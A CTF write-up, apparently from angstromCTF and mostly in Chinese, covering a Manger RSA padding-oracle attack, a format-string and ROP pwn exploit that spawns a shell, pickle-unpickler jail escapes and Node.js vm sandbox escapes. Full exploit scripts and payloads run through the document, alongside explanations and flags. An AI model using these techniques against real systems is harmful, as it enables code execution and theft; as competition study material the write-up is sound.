n = 0xBB7BBD6BB62E0CBBC776F9CEB974ECA6F3D30295D31CAF456D9BEC9B98822DE3CB941D3A40A0FBA531212F338E7677EB2E3AC05FF28629F248D0BC9F98950CE7E5E637C9764BB7F0B53C2532F3CE47ECBE1205172F8644F28F039CAE6F127CCF1137AC88D77605782ABE4560AE3473D9FB93886625A6CAA7F3A5180836F460C98BBC60DF911637FA3F52556FA12A376E3F5F87B5956B705E4E42A30CA38C79E7CD94C9B53A7B4344F2E9DE06057DA350F3CD9BD84F9AF28E137E5190CBE90F046F74CE22F4CD747A1CC9812A1E057B97DE39F664AB045700C40C9CE16CF1742D992C99E3537663EDE6673F53FBB2F3C28679FB747AB9DB9753E692ED353E3551
e = 0x10001
c = 8702343735025266604493255023455944506448203943421139140860292426782509680048873569587596911548140388664137318807031840409098358526949080521742044811655775937519290500584015066858945832554481838588845652546365303337275177311841968984511864709414904338587040274646253896911291865516895328016639201704613064462056129248165695806001948541939983934752397658730589917722952341689278968790138018539025744727334202968601465562656795710345742329370762196560147624069504644216320910078454455520823319751612174752365432199529820974601209221975964155055716974539394252799602068585830290371624396504384131654854623710049511046664
io = remote("challs.actf.co", 31500)
# POW were added after I solved it the first way
io.recvuntil(b'proof of work: ')
out = check_output(io.recvlineS(),shell=True).strip()
io.sendlineafter(b'solution: ', out)

def oracle(c):
    io.sendlineafter(b"Enter message to sign: ", str(c % n).encode())
    io.recvline()
    return len(ast.literal_eval(io.recvlineS().strip())) < 272


B = 2 ** (8 * (223 + 16 + 16))


def Manger_Attack(c):
    f1 = 2
    while True:
        val = (pow(f1, e, n) * c) % n
        if oracle(val):
            f1 = 2 * f1
        else:
            break
    print('first')
    f12 = f1 // 2
    f2 = ((n + B) // B) * f12
    while True:
        val = (pow(f2, e, n) * c) % n
        if oracle(val):
            break
        else:
            f2 += f12
    print('second')
    m_min = (n + f2 - 1) // f2
    m_max = (n + B) // f2
    # note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
    while m_min < m_max:
        print(long_to_bytes(m_min))
        f_tmp = (2 * B) // (m_max - m_min)
        I = (f_tmp * m_min) // n 
        f3 = (I * n + m_min - 1) // m_min
        val = (pow(f3, e, n) * c) % n
        if oracle(val):
            m_max = (I * n + B) // f3
        else:
            m_min = (I * n + B + f3 - 1) // f3
    return m_min

print(long_to_bytes(Manger_Attack(c)))
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compatble_i_think??}

Pwn

caniride

這題用 IDA decompile 後如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+0h] [rbp-440h] BYREF
  unsigned int i; // [rsp+4h] [rbp-43Ch]
  __gid_t rgid; // [rsp+8h] [rbp-438h]
  int v6; // [rsp+Ch] [rbp-434h]
  char format[64]; // [rsp+10h] [rbp-430h] BYREF
  char buf[1000]; // [rsp+50h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Welcome to blairuber!");
  printf("Name: ");
  __isoc99_scanf("%49s", format);
  for ( i = 0; (int)i <= 3; ++i )
    printf("%d) %s - %s\n", i, (&drivers)[i], (&desc)[i]);
  printf("Pick your driver: ");
  v3 = 0;
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 4 )
  {
    puts("Not enough drivers! Sorry.");
    exit(1);
  }
  sleep(3u);
  printf("Hi, this is %s your driver. Get in!\n", (&drivers)[v3]);
  sleep(3u);
  printf("So... tell me a little about yourself: ");
  v6 = read(0, buf, 0x3E7uLL);
  buf[v6] = 0;
  puts("Hmm, very interesting!");
  sleep(3u);
  printf("Well we're here. Bye, ");
  printf(format);
  puts("!");
  exit(0);
}

主要就兩個洞，一個是 v3 可以放負值去 oob 讀值，另一個是 format string。

oob 的話我是用 -1，因為 drivers-1 的地方是 __dso_handle，從 gdb 可以看到它指向它自身，所以可以 leak 出 text address。

再來是要利用 format string，這題小麻煩的地方是你需要先讀 format string 後才能 leak address，leak 完之後再讓你放 stack buffer，最後才 call printf 之後直接 exit。這代表寫入的 address 雖然可以自己決定，但是寫入的值必須預先決定好才行。

我的想法是蓋 exit@got 回 main，不過會發現這題雖然 GOT 可寫但全部的 function 早就已經變成 libc 的 address，這應該是 No RELRO 的效果 (和 Partial RELRO 不同)。但是既然要先決定好寫入的值就代表只能 partial overwrite，觀察了一下我覺得透過 partial overwrite exit@got 到 one gadget 不太可行，所以就放棄了這條路。

後來卡了一段時間才想到去蓋掉 fini_array 中的 __do_global_dtors_aux，因為兩個同屬 text section 所以可以 100% 成功率的把它變成 main，這樣就能變成 loop。因為第一輪就用 leak text, 用 format string 蓋 fini_array 的同時 leak libc 出來。

之後第二輪就要想辦法從 format string 拿 shell，這次有 libc 了所以應該可以寫 one gadget 到 exit@got，但是測試了幾個 one gadget 都發現 constraint 不合，沒一個能用 == (主要好像是使用 fini_array 會動到 r15，讓它變得不是 0，也讓很多條件無法滿足)。

後來想到的作法是發現 buf 其實很大，是足夠寫 rop chain 的。然後 libc 中也有很多 ret 0x?? 或是 add rsp, 0x??; ret 之類的 gadget 能用，把它 exit@got 寫成其中之一並算好 offset 就能讓它 stack 正好跑到 buf 的 rop chain 上，然後就能 rop get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"


def build_payload(writes: dict, written=0) -> bytes:
    ws = sorted(writes.items(), key=lambda t: t[1])
    s = ""
    for offset, val in ws:
        assert val - written >= 0, "wtf"
        s += f"%{val - written}c"
        t = "hhn" if val - written < 256 else "hn"
        s += f"%{offset}${t}"
        written += val - written
    return s.encode()


elf = ELF("./caniride")
libc = ELF("./libc.so.6")

# io = gdb.debug(
#     "./caniride", "b sleep\ncommands\nreturn\nc\nend\nb *(main+533)\nb *(main+555)\nc"
# )
# io = gdb.debug(
#     "./caniride", "b *(main+533)\nb *(main+555)\nc"
# )
# io = process("./caniride")
io = remote("challs.actf.co", 31228)
# write fini_array back to main
payload = b"peko%143$16lxmiko"
payload += build_payload({16: 0x69}, 16 + 8)
io.sendlineafter(b"Name: ", payload)
io.sendlineafter(b"driver: ", b"-3")  # __dso_handle -> __dso_handle
io.recvuntil(b"Hi, this is ")
dso_handle = int.from_bytes(io.recvn(6), "little")
prog_base = dso_handle - elf.sym["__dso_handle"]
print(f"{prog_base = :#x}")
elf.address = prog_base
io.sendlineafter(b"yourself: ", flat([prog_base + 0x3300]))

io.recvuntil(b"peko")
libc_base = int(io.recvuntilS(b"miko")[:-4].strip(), 16) - 0x240B3
print(f"{libc_base = :#x}")
libc.address = libc_base
rop = ROP(libc)


# now back to main
exit_got = elf.got["exit"]
ret_0x80 = libc_base + 0x96F70
print(f"{ret_0x80 = :#x}")
rop.execve(next(libc.search(b"/bin/sh\0")), 0, 0)
payload = build_payload(
    {18: ret_0x80 & 0xFF, 19: (ret_0x80 >> 8) & 0xFF, 20: (ret_0x80 >> 16) & 0xFF}
)
io.sendlineafter(b"Name: ", payload)
io.sendlineafter(b"driver: ", b"0")
io.sendlineafter(
    b"yourself: ",
    (flat([0, 0, exit_got, exit_got + 1, exit_got + 2, 0]) + rop.chain()),
)

io.interactive()
# actf{h0llerin'_at_y0u_from_a_1977_mont3_car1o_a6ececa9966d}

Misc

*Kevin Higgs

這題是 splitline 解的，不過我覺得很好玩所以還是紀錄一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/local/bin/python3

import pickle
import io
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("e-legal")


lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
    print("your pickle is too large for my taste >:(")
else:
    SafeUnpickler(io.BytesIO(lepickle)).load()

這題就給一個 empty 的 module，然後允許你 property access 最多一個 dot 而已。概念上就是想辦法 empty.__class__.__base__.__subclasses__ 這樣拿，就像一般 pyjail 一樣而已。

可是這樣會導致 name.count('.') 超過限制，解決方法就是利用 BUILD 讓他直接在 empty 上 assign 東西，例如 empty.x=empty.__class__.__base__，然後再 empty.x.__subclasses__ 這樣拿即可。

至於生 payload 的話根本不用自己弄，只要使用同樣是來自 splitline 的 python to pickle compiler: Pickora，然後用裡面的 macro 直接生成就很簡單了。

這個是原版 payload:

1
2
3
4
5
6
7
8
9
_empty = GLOBAL("empty", "empty")
_empty.base = GLOBAL("empty", "__class__.__base__")
_empty.classes = GLOBAL("empty", "base.__subclasses__")()
_empty.wrapclose = GLOBAL("empty", "classes.__getitem__")(138)
_empty.init = GLOBAL("empty", "wrapclose.__init__")
_empty.globals = GLOBAL("empty", "init.__globals__")
GLOBAL("empty", "globals.__getitem__")("system")("sh")

# actf{__i_miss_kmh11_pyjails__}

然後這是我自己練習弄的，除了改為使用最後一個 class 以外基本上是一樣的，好處就是可以跨版本使用:

1
2
3
4
5
6
7
8
9
e = GLOBAL("empty", "empty")
e.x = GLOBAL('empty','__class__.__base__')
e.x = GLOBAL('empty','x.__subclasses__')()
GLOBAL('empty','x.reverse')()
e.x = GLOBAL('empty','x.__getitem__')(0)  # _Unpickler
e.x = GLOBAL('empty','x.__init__')
e.x = GLOBAL('empty','x.__globals__')
e.x = GLOBAL('empty','x.__getitem__')('__builtins__')
e.x = GLOBAL('empty','x.__getitem__')('exec')('import os;os.system("cat /flag.txt")')

另外其實原題的 empty.empty = empty 是多餘的，根本不用 recursive module 也能解。關鍵是用改用 empty.__setattr__ 去設定 attribute 就行了，所以有這個 payload:

1
2
3
4
5
6
7
8
9
10
11
s = GLOBAL("empty", "__setattr__")
s("x", GLOBAL("empty", "__class__")("empty"))
s("x", GLOBAL("empty", "x.__class__"))
s("x", GLOBAL("empty", "x.__base__"))
s("x", GLOBAL("empty", "x.__subclasses__")())
GLOBAL("empty", "x.reverse")()
s("x", GLOBAL("empty", "x.__getitem__")(0))
s("x", GLOBAL("empty", "x.__init__"))
s("x", GLOBAL("empty", "x.__globals__"))
s("x", GLOBAL("empty", "x.__getitem__")("__builtins__"))
s("x", GLOBAL("empty", "x.__getitem__")("exec")('import os;os.system("cat /flag.txt")'))

CaaSio PSE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/local/bin/node

// flag in ./flag.txt

const vm = require("vm");
const readline = require("readline");

const interface = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
});

interface.question(
    "Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
    function (input) {
        interface.close();
        if (
            input.length < 215 &&
            /^[\x20-\x7e]+$/.test(input) &&
            !/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
            !input.toLowerCase().includes("import")
        ) {
            try {
                const val = vm.runInNewContext(input, {});
                console.log("Result:");
                console.log(val);
                console.log(
                    "See, isn't the calculator so much nicer when you're not trying to hack it?"
                );
            } catch (e) {
                console.log("your tried");
            }
        } else {
            console.log(
                "Third time really is the charm! I've finally created an unhackable system!"
            );
        }
    }
);

這題是 node.js 的 vm escape 加上繞 regex filter 的題目，vm escape 部分很好處理，就直接利用 {} 拿 foreign 的 Function 去拿 process 解決:

1
constructor.constructor('return process')().mainModule.require('fs').readFileSync('flag.txt', 'utf-8')

這題難點在於 filter 部分，因為 `'" 三個字元都被禁了所以沒辦法直接弄 string，另外 []. 也擋掉了 property access。

繞 string 的方法是利用 /asd/ regex 在轉換成 string 時會直接變成 '/asd/'，但是它前後的 / 有點麻煩。繞 property access 的話可以使用 with statement，像是 with(constructor)constructor 就能存取到 constructor.constructor，所以兩招合起來使用 with(/asd/)source 就能拿到 'asd' 這個 string。

如果要使用多個 string 的話會遇到 source 被外層的給 shadow 掉的問題，解決辦法是使用 comma operator: with(/str1/)with(s1=source,/str2/)s1+source。

所以全部整合起來之後就能把前面的 vm escape 改寫，變成這樣的 payload:

1
2
3
4
5
6
with(/with(process)with(mainModule)with(require(x))start()/)with(s1=source,/x/)with(s2=source,/repl/)with(s3=source,this)with(constructor)constructor(s2,s1)(s3)

// then input
require('fs').readFileSync('flag.txt','utf-8')

// actf{omg_js_is_like_so_quirky_haha}

不過賽後我才知道還有很多更簡單的解法，使用 unescape 或是 decodeURIComponent 去繞比較簡單，例如:

1
with(/%28this%2econstructor%2econstructor%28%27return%20this%27%29%29%28%29%2eprocess%2emainModule%2erequire%28%27fs%27%29%2ereadFileSync%28%22%2e%2fflag%2etxt%22%29/)eval(unescape(source))

然侯作者表示 regex 是他忘記擋的，所以 regex 都是 unintended XD。預期解是這個:

1
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,101,t=116,117,r,110,32,112,r,111,99,101,s=115,s))())with(mainModule)with(require(f(102,s)))readFileSync(f(102,108,97,103,46,t,120,t))